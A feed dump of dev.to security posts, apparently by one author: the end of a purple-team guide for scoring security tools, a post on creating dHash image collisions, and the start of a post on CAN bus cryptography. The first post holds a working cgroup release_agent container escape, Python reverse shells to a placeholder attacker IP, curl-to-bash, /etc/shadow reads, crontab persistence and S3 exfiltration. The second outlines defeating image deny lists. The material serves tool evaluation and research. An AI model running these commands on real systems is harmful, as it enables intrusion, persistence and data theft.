&lt;span class="nv"&gt;OUTPUT_PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;OUTPUT_DIR&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;OUTPUT_NAME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Run a process for which we can search for (not needed in reality, but nice to have)&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;10000 &amp;amp;

&lt;span class="c"&gt;# Prepare the payload script to execute on the host&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PAYLOAD_PATH&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;__EOF__&lt;/span&gt;&lt;span class="sh"&gt;
#!/bin/sh
OUTPATH=&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="sh"&gt;(dirname &lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="sh"&gt;0)/&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;OUTPUT_NAME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;
# Commands to run on the host&amp;lt;
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;lt;YOUR ATTACKER IP HERE&amp;gt;,55554));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' &amp;gt; &lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="sh"&gt;{OUTPATH} 2&amp;gt;&amp;amp;1
&lt;/span&gt;&lt;span class="no"&gt;__EOF__

&lt;/span&gt;&lt;span class="c"&gt;# Make the payload script executable&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;a+x &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PAYLOAD_PATH&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;# Set up the cgroup mount using the memory resource cgroup controller&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CGROUP_MOUNT&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
mount &lt;span class="nt"&gt;-t&lt;/span&gt; cgroup &lt;span class="nt"&gt;-o&lt;/span&gt; memory cgroup &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CGROUP_MOUNT&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CGROUP_MOUNT&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;/&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CGROUP_NAME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CGROUP_MOUNT&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;/&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CGROUP_NAME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;/notify_on_release

&lt;span class="c"&gt;# Brute force the host pid until the output path is created, or we run out of guesses&lt;/span&gt;
&lt;span class="nv"&gt;TPID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;OUTPUT_PATH&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;do
  if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="k"&gt;$((${&lt;/span&gt;&lt;span class="nv"&gt;TPID&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;100&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;
  &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Checking pid &lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TPID&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TPID&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="nt"&gt;-gt&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;MAX_PID&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;then
      &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Exiting at &lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;MAX_PID&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; :-("&lt;/span&gt;
      &lt;span class="nb"&gt;exit &lt;/span&gt;1
    &lt;span class="k"&gt;fi
  fi&lt;/span&gt;
  &lt;span class="c"&gt;# Set the release_agent path to the guessed pid&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"/proc/&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TPID&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/root&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PAYLOAD_PATH&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CGROUP_MOUNT&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;/release_agent
  &lt;span class="c"&gt;# Trigger execution of the release_agent&lt;/span&gt;
  sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"echo &lt;/span&gt;&lt;span class="se"&gt;\$\$&lt;/span&gt;&lt;span class="s2"&gt; &amp;gt; &lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CGROUP_MOUNT&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CGROUP_NAME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/cgroup.procs"&lt;/span&gt;
  &lt;span class="nv"&gt;TPID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((${&lt;/span&gt;&lt;span class="nv"&gt;TPID&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Wait for and cat the output&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;1
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Done! Output:"&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;OUTPUT_PATH&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then we're going to spawn another reverse shell and trigger the breakout from out attacker box&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 55554 &amp;amp;
curl &amp;lt;Your gist URL&amp;gt; | /bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yay! We should now have a shell on the host machine as &lt;code&gt;root&lt;/code&gt;!&lt;/p&gt;

&lt;h3&gt;
  
  
  3f - Recon and Cred. Access in the Host
&lt;/h3&gt;

&lt;p&gt;Now we want to run some more actions that should raise alerts as we do some recon and credential access&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami
hostname
cat&lt;/span&gt; /etc/os-release
&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/shadow
&lt;span class="nb"&gt;ls&lt;/span&gt; ~/.ssh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3g - Persistance in the host
&lt;/h3&gt;

&lt;p&gt;Now we want to add some basic persistance. There are sneakier ways to get persistance but an incredibly simple (and common!) method is to modify the crontab to spawn a new reverse shell on a schedule. Make sure to check for &lt;code&gt;&amp;lt;ATTACKER IP&amp;gt;&lt;/code&gt; placeholders and replace them with your values!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"* * * * * root python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;attacker_ip&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,55555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;/bin/bash&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;)'"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/crontab
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3h - Install some tools and exfil data
&lt;/h3&gt;

&lt;p&gt;Please note that to run this step you'll need an s3 bucket and some write only IAM keys. You can change this to writing to any other file storage solution of your choice, however. &lt;/p&gt;

&lt;p&gt;Now we want to install some quick tools, in this case the AWS CLI, and exfil some imaginary data that we created when we setup the victim box.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; unzip 
curl &lt;span class="s2"&gt;"https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s2"&gt;"awscliv2.zip"&lt;/span&gt;
unzip awscliv2.zip
&lt;span class="nb"&gt;sudo&lt;/span&gt; ./aws/install
&lt;span class="c"&gt;# enter the access key id and secret key in this next step along with the region of your bucket&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/usr/local/bin:&lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
aws configure
aws s3 &lt;span class="nb"&gt;cp&lt;/span&gt; /data.enc s3://attack-sim-bucket/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There's nothing super special here, but if your box is on, say, Azure, someone installing the AWS CLI should &lt;em&gt;probably&lt;/em&gt; be an alert.&lt;/p&gt;

&lt;h2&gt;
  
  
  4 - Check for Events and score
&lt;/h2&gt;

&lt;p&gt;Now that we're run through our attack scenario, it's time to take some scores! I should really emphasize that these scores are just one possible weighting and you &lt;em&gt;should&lt;/em&gt; disagree with me based on the risks that you're facing and the things that you think are most important! You might also want to change the weight and the events considered based on the type of tool you're evaluating or if you're evaluating multiple tools working in parallel with each other.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;th&gt;Points&lt;/th&gt;
&lt;th&gt;Observed?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Scanning&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command Injection - testing&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Container Reverse Shell&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data Collection/Recon in Shell&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Container Breakout&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Host Reverse Shell&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data Collection/Recon in Host&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dumping &lt;code&gt;/etc/shadow&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistance via crontab&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attacker installed tooling&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exfil of data to s3 bucket&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Natively alert on curl-&amp;gt; bash&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h1&gt;
  
  
  Credits
&lt;/h1&gt;

&lt;p&gt;Nothing like this gets done in a vacuum, so huge thanks to two members of my team who were instrumental in this most recent version of this test.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Jessica Wilson: &lt;a href="https://www.linkedin.com/in/jw27/"&gt;LinkedIn&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Oak Latt: &lt;a href="http://linkedin.com/in/oaklatt"&gt;LinkedIn&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;This is just a single possible test setup that you can use for testing and evaluating a security tool or a set of security tools. It is not by any means an exhaustive test, if anything it's extremely basic. But if you try it with your security tools I bet you'll be amazed at what is and isn't caught and you'll learn something valuable. There are some great resources out there for finding different methods to use with different platforms and threat scenarios. One of my favorites is &lt;a href="https://github.com/redcanaryco/atomic-red-team"&gt;Atomic Red Team&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Have you tried this? Do you have a different testing methodology? I'd love to hear all about it! Leave me a comment, or send me an email, or hit me up on twitter. Thanks!&lt;/p&gt;

</description>
      <category>security</category>
      <category>testing</category>
      <category>tools</category>
    </item>
    <item>
      <title>Creating Image Hash Collisions</title>
      <dc:creator>Jeremy Mill</dc:creator>
      <pubDate>Mon, 16 Aug 2021 17:30:14 +0000</pubDate>
      <link>https://dev.to/living_syn/creating-image-hash-collisions-2g41</link>
      <guid>https://dev.to/living_syn/creating-image-hash-collisions-2g41</guid>
      <description>&lt;h2&gt;
  
  
  Image Hashing
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem
&lt;/h3&gt;

&lt;p&gt;Say you have an API that allows customers to upload photos and you want to ban some set of nuisance photos. You might immediately think to use one of the &lt;a href="https://en.wikipedia.org/wiki/Cryptographic_hash_function" rel="noopener noreferrer"&gt;hash functions&lt;/a&gt; you already know to check new uploads against a deny list. Hash functions like &lt;code&gt;MD5&lt;/code&gt;, &lt;code&gt;SHA1&lt;/code&gt;, or some other cryptographic hash function may come to mind. And this would work assuming that the photo &lt;em&gt;never&lt;/em&gt; changes by even a single bit.&lt;/p&gt;

&lt;p&gt;Unfortunately for us and our hypothetical API it is very easy to create two images that are perceived by a human to be the exact same, but whose cryptographic hashes are totally different. Take for instance the following two photos:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F32wuurrskpbaaffrktqz.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F32wuurrskpbaaffrktqz.jpeg" alt="Two Wedding Photos"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The left hand photo has a SHA1 sum of&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bb3ff9bdf224e8a058d3c4c3c5fb0dd45034519b  wedding.jpeg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and the right hand photo has a SHA1 sum of&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ed14e6d3eb42ad66d5a5f49e554b9e0f765da0cd  wedding-compressed.jpeg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A human would perceive these two photos to be the same image. The only difference is that the right hand photo has been compressed by 1%. This effect can also be achieved by cropping 1 row or column of pixels or changing one pixel in the image from grey to 'slightly-darker-or-lighter-grey', as well.&lt;/p&gt;

&lt;h3&gt;
  
  
  Other hashing methods
&lt;/h3&gt;

&lt;p&gt;So, clearly cryptographic hashes aren't going to work for us here. There are just too many ways to modify an image without losing the ability for a human to perceive them as the same. One solution to this problem is a class of hashes known as &lt;a href="https://en.wikipedia.org/wiki/Perceptual_hashing" rel="noopener noreferrer"&gt;perceptual hashes&lt;/a&gt;. Some perceptual hashes are aHash, pHash, and dHash. The one we'll discuss in detail here and provide a collision/collision generator for is known as &lt;code&gt;difference hashing&lt;/code&gt; (dHash).&lt;/p&gt;

&lt;p&gt;As far as I can tell, the definitive source on these hashes is a blog written by Dr. Neal Krawetz: &lt;a href="http://www.hackerfactor.com/blog/" rel="noopener noreferrer"&gt;http://www.hackerfactor.com/blog/&lt;/a&gt; and For dHash specifically, you should read &lt;a href="http://www.hackerfactor.com/blog/index.php?/archives/529-Kind-of-Like-That.html" rel="noopener noreferrer"&gt;this post&lt;/a&gt;. If you read that post you should feel free to skip the next section as Dr. Krawetz goes more in depth than I will.&lt;/p&gt;

&lt;h2&gt;
  
  
  How dHash works
&lt;/h2&gt;

&lt;p&gt;At a very high level the dHash algorithm is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create an 8x8 array of booleans that is the hash output&lt;/li&gt;
&lt;li&gt;Convert an image to greyscale&lt;/li&gt;
&lt;li&gt;Resize the image to a 9x8 pixels&lt;/li&gt;
&lt;li&gt;For each pixel you compare the left hand pixel to the right

&lt;ul&gt;
&lt;li&gt;If the right is brighter than the left, store True in the resulting hash array at the corresponding index&lt;/li&gt;
&lt;li&gt;otherwise store False&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Flatten the hash array&lt;/li&gt;
&lt;li&gt;Convert the bools to bits and turn it into a string&lt;/li&gt;
&lt;li&gt;Return that string as a hash&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So for example, our wedding photo from above when converted and compressed turns into:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fams0ok1juqtjgdulnmou.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fams0ok1juqtjgdulnmou.png" alt="wedding converted and compressed"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And results in the following hash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[[ True False False False False  True False False]
 [ True False  True False False  True False False]
 [ True  True False  True False  True  True False]
 [ True False False  True  True False  True False]
 [ True False False  True  True False False  True]
 [ True False False  True  True False  True  True]
 [ True  True False False False False  True  True]
 [ True  True  True False False  True False False]]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Where the first item in the hash matrix (0,0) is &lt;code&gt;True&lt;/code&gt; because the pixel in the image at (0,0) is slightly darker than the pixel in the image at (0,1).&lt;/p&gt;

&lt;p&gt;When this hash array is folded and turned into a string, it results in the dHash value &lt;code&gt;84a4d69a999bc3e4&lt;/code&gt;. According to Dr. Krawetz, who has a larger data set than I do, this method has a relatively low false-positive and false-negative rate and is significantly faster than the other perceptual hashes tested.&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating Collisions
&lt;/h2&gt;

&lt;p&gt;So, dHash is pretty cool! But what if I want to intentionally create a collision? What if I have two images and I want them to have the same dHash value while being perceived by a human to be totally different images? That was the question I asked myself and was surprised to find that no one had answered (as far as I could tell). To be fair, even if someone &lt;em&gt;had&lt;/em&gt; answered it, I probably would have tried to do it myself anyway.&lt;/p&gt;

&lt;p&gt;I will call the image whose hash we want to match the &lt;code&gt;collision target&lt;/code&gt; and the image we're going to modify the &lt;code&gt;mod image&lt;/code&gt;. My algorithm for creating a collision is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;get the hash for &lt;code&gt;collision target&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Divide the image into 9x8 sub-images&lt;/li&gt;
&lt;li&gt;Iterate over the hash of &lt;code&gt;collision target&lt;/code&gt;:

&lt;ul&gt;
&lt;li&gt;calculate the current hash of &lt;code&gt;mod_image&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;if True: check that the sub-image to the right of the current is brighter than the current. If it's not, brighten it!&lt;/li&gt;
&lt;li&gt;if False: check that the sub-image to the right of the current is darker than the current. If it's not, darken it&lt;/li&gt;
&lt;li&gt;rebuild mod-image from the sub_images&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Check the hashes for equality re-iterate as necessary (repeat step 3) to make sure that the sampling used during resizing doesn't break the collision&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Example
&lt;/h3&gt;

&lt;p&gt;Given the following two images where the left hand image is the &lt;code&gt;collision target&lt;/code&gt; and the right hand is the &lt;code&gt;mod image&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm8btrhkicuzr0apybkl6.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm8btrhkicuzr0apybkl6.jpeg" alt="target and mod"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can run the above algorithm and produce the following image which is a dHash collision with the &lt;code&gt;collision target&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo0kvlbvauryte6tfyajk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo0kvlbvauryte6tfyajk.png" alt="the collision image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Both of these images have a dHash value of &lt;code&gt;0193210ed49192c8&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Proof of concept code
&lt;/h2&gt;

&lt;p&gt;Proof of concept code can be found here: &lt;a href="https://github.com/LivingInSyn/image_collsion_gen" rel="noopener noreferrer"&gt;https://github.com/LivingInSyn/image_collsion_gen&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At current this code will not work on very dark images due to the fact that brightening black just results in...more black. I'll spend some time trying to make it work in those situations though. &lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;I'm not sure where exactly attacker generated collisions would have the greatest impact. It would potentially allow a malicious actor to post a picture that would cause other legitimate pictures to get deny-listed which would result in a denial of service type condition. It could also allow a malicious actor to post images that are supposed to be denied by making it collide with a picture on an allow list. Ultimately it is simply proof that you should not expect these hashes to be perfect or collision resistant.&lt;/p&gt;

&lt;p&gt;That this was fun code to write. It &lt;a href="https://xkcd.com/356/" rel="noopener noreferrer"&gt;nerd sniped&lt;/a&gt; me super hard for a few days and there are a lot of ways to go from here. Expanding this code to generate collisions among multiple hash types would be a logical next step, or to find ways to make the image less perceptibly modified. I'd love to hear your ideas if you have them :) &lt;/p&gt;

</description>
      <category>dhash</category>
      <category>collision</category>
      <category>hashing</category>
      <category>security</category>
    </item>
    <item>
      <title>CAN Bus Cryptography</title>
      <dc:creator>Jeremy Mill</dc:creator>
      <pubDate>Wed, 08 Jan 2020 15:34:04 +0000</pubDate>
      <link>https://dev.to/living_syn/can-bus-message-security-3h43</link>
      <guid>https://dev.to/living_syn/can-bus-message-security-3h43</guid>
      <description>&lt;h3&gt;
  
  
  Updates
&lt;/h3&gt;

&lt;p&gt;1/10/2020: added BLAKE/BLAKE2 to the HMAC section&lt;/p&gt;

&lt;h1&gt;
  
  
  Introduction
&lt;/h1&gt;

&lt;p&gt;The CAN bus is a multi-master serial bus standard for connecting Electronic Control Units (ECUs) also known as nodes. The complexity of the node can range from a simple I/O device such as a low powered embedded/industrial microcontroller up to a computer with a CAN interface and sophisticated software and significant computational resources. Two or more nodes are required on the CAN network to communicate. CAN busses can be found in industrial settings, automobiles, aircraft, and many other industries.&lt;/p&gt;

&lt;p&gt;There are two standards for the CAN bus. The first is high speed CAN as defined in ISO 11989-2. High speed CAN allows for bitrates of up to 1Mbit/s, or up to 5Mbit/s on CAN-FD (a newer CAN protocol in development). High speed CAN is limited to a maximum cable length of 40 meters which makes it unsuitable for many industrial applications. &lt;/p&gt;

